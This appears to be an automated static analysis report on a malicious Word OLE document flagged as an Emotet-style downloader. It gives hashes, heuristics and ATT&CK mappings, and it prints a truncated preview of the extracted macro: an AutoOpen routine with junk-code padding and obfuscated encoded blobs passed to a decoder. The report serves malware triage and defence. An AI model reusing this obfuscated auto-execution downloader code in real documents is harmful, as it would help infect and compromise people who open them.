Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73f8403e08803dd9…

MALICIOUS

Office (OLE)

156.0 KB Created: 2018-04-13 14:51:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 4d019e9ec6430842b776f117c4f55461 SHA-1: 35e96e8ac51dcfba401d7a3d067cd146833f8f25 SHA-256: 73f8403e08803dd9d8972248063e69cbeba118e0d7a2c7c83151fc5eb99c8cbc
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The AutoOpen macro is present and configured to execute code, which is further supported by the OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic. The presence of a VBA macro file named 'macros.bas' and ClamAV detection as 'Doc.Malware.Emodldr-10025032-0' strongly suggests a malicious document designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 151428 bytes
SHA-256: 2afe382798ed2f267746f49039e3d7236e777214a39dcde3345db64d69bc1670
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 60 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wNswGIA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Select Case zItsLo
Case 26173
kcIrs = CStr(24551 * Log(UjrMH) * 87768 - vsYcs)
oGrTnA = 6843
End Select
Application.Run TzlRvk + "jpWcZGz" + kJjqHh, oSGnAo + pwnTqYKXS + BUiwW
Select Case dkpErJ
Case 20562
jGuMJ = CStr(36706 * Log(jolkJ) * 25348 - ZMzzO)
SfDUYI = 27030
End Select
End Sub

Attribute VB_Name = "TfzzWaI"
Sub LbrVC(fwLNO)
Select Case LcEsu
Case 66219
BDZoBF = CStr(19956 * Log(Jmnnm) * 18659 - AYItZ)
zGJLt = 4585
End Select
End Sub
Function pwnTqYKXS()
On Error Resume Next
Select Case UEcXla
Case 57088
IoUDql = CStr(74606 * Log(Nibilk) * 42180 - EijJqw)
ULOWI = 29927
End Select
HOmsfoq = ltdHa("3zDkAMQBiAGYANwBiADYAMgA3ADQAZQBkADgANwAwADQAYQA1AGQAYgBiAGEANwBkAGIAYQA2ADIAZQA3ADAAMgAzADQAYgAxADcAYQBjADUAMQAxADUAYgBiADUAOQBkADIAMgBlAGQAOAA0ADIAOQAxADUAMgBjm4RN,", 3 + uzqUi - uzqUi, 159 + uzqUi - uzqUi)
Select Case foWbYJ
Case 35126
HCtid = CStr(53402 * Log(RvkisT) * 5908 - UoJSzs)
PdijDm = 15771
End Select
Select Case wzDObB
Case 57836
hWDXQA = CStr(16896 * Log(cPzRp) * 53382 - JQXAn)
ZhpVtZ = 1485
End Select
UELfRKWj = ltdHa("jhaL]::SEcuresTRingtOGlobalallOcUnicoDe($('76492d1116743f042341l%wn8", 2 + LMQia - LMQia, 62 + LMQia - LMQia)
Select Case SmCQzS
Case 18329
iITBPt = CStr(88815 * Log(VpVnt) * 96032 - BqCHp)
CWaIh = 19749
End Select
Select Case TWwntV
Case 33928
HNDtOL = CStr(60999 * Log(MfiWU) * 24561 - TllAQE)
PPrWIS = 89606
End Select
fqRuYJPGk = ltdHa("zgA4AGYAYwA2AGEAYwBlADYAMQBmAGUAOQBiADYAMwBlAGMAYgBmAGMANgA3A4OOin", 2 + zBpJBP - zBpJBP, 60 + zBpJBP - zBpJBP)
Select Case DBwowf
Case 45429
piALu = CStr(7237 * Log(WKHsfC) * 15035 - AnVwo)
sCNPV = 52848
End Select
Select Case Pizvsw
Case 21809
AHiWY = CStr(25454 * Log(GzOCu) * 18092 - sJUYv)
SXoVq = 53339
End Select
fQYSVFdjsYC = ltdHa("kTn5AGQAYgBmAGEAOQA0AGEANABiADUAMAA3AGQAZQBmAGUAZAA1ADAAMQA0AGYANQBiADQAMgA5AGIAOAAwADgAZQAwADQAZgA0AGQAYwAyAGQANwAwAGIAMwBhASKzj", 4 + afOzvV - afOzvV, 122 + afOzvV - afOzvV)
Select Case HdBYmG
Case 10763
BzIjWL = CStr(9940 * Log(irbWP) * 73551 - aTApAd)
JjwiJ = 55843
End Select
Select Case MaKnR
Case 77176
LKviO = CStr(73718 * Log(IzRUdp) * 27875 - cuVCOB)
qFlNjI = 20686
End Select
COuac = ltdHa("5MgBhAGMANQBkAGYAMAA0ADUAOQA2ADIANgBjAGEAMQA4ADUAMgAyADYAZQAzADgANwA4AGYAMAAzADMAOQA4AGYAYQAwADMAZQAzAGMAYgBmADQAOABkADYANgBiADIAMwBlADcAMgBmADcAYgAzAGEAMAA5ADIAMQA4ADEA5zbT2HlN", 2 + pQnDUq - pQnDUq, 168 + pQnDUq - pQnDUq)
Select Case jjclH
Case 47151
wtwIE = CStr(7438 * Log(Rvkrh) * 94875 - ROZUh)
pzBCj = 94877
End Select
Select Case HksRRP
Case 89834
lQWwJ = CStr(16840 * Log(sCYUbG) * 4040 - hHfrLb)
HzvoN = 24402
End Select
INkpbb = ltdHa("AN%2AGCj", 5 + inAEHG - inAEHG, 2 + inAEHG - inAEHG)
Select Case QlqwNX
Case 35151
EwBwD = CStr(9469 * Log(SFVFAL) * 19725 - YjuiIZ)
Uukwm = 74765
End Select
Select Case bUqrlC
Case 55516
DkZcI = CStr(98972 * Log(WFEnDv) * 23993 - tbiqb)
clbVF = 55889
End Select
fjcTsGV = ltdHa("27GCAMQAyAGUAYQBhAGQAMgBiADgAMwBjADAAMABhAGEAZAA0AGYAYwAwAGMANABkADgAZQAyAGUAYgA1AGYANgBiADgAZQAzADEAZABiADQAZQA5AGYAOQA2AGMAYwAwWX", 5 + dsiSOC - dsiSOC, 125 + dsiSOC - dsiSOC)
Select Case IatmN
Case 688
zEKqwk = CStr(44244 * Log(AsvwOP) * 93634 - DLBub)
zGCWlO = 60094
End Select
Select Case CHTis
Case 45280
SMGrVR = CStr(54218 * Log(XzZjH) * 95928 - KRSWK)
hwzHpQ = 51272
End Select
JwTmAREwIp = ltdHa("kFwF3ADgAOAAzADUAYwAwADYAMAA3ADYANwAzAGMAMwA1ADMAMwBkAGYAOQA4AGUANgA2AGEAMQA2ADAAYQBkAGYAZAAzAGMAMgAyAGMAZgBhADYAYwBlADUAYgAxADQAYwAzAGUAMgAxADgAYgA3ADkANgA3AGEAMAA4ADUAZABlAGMAMwEV", 5 + ApuaH - ApuaH, 175 + ApuaH - ApuaH)
Select Case wapqLB
Case 60068
jaZtqC = CStr(82680 * Log(dXLkwC) * 30644 - MBkQJ)
fBBfbY = 68827
End Select
Select Case jPtFfV
Case 80341
ZNdaBV = CStr(18084 * Log(ZSLVGT) *
... (truncated)

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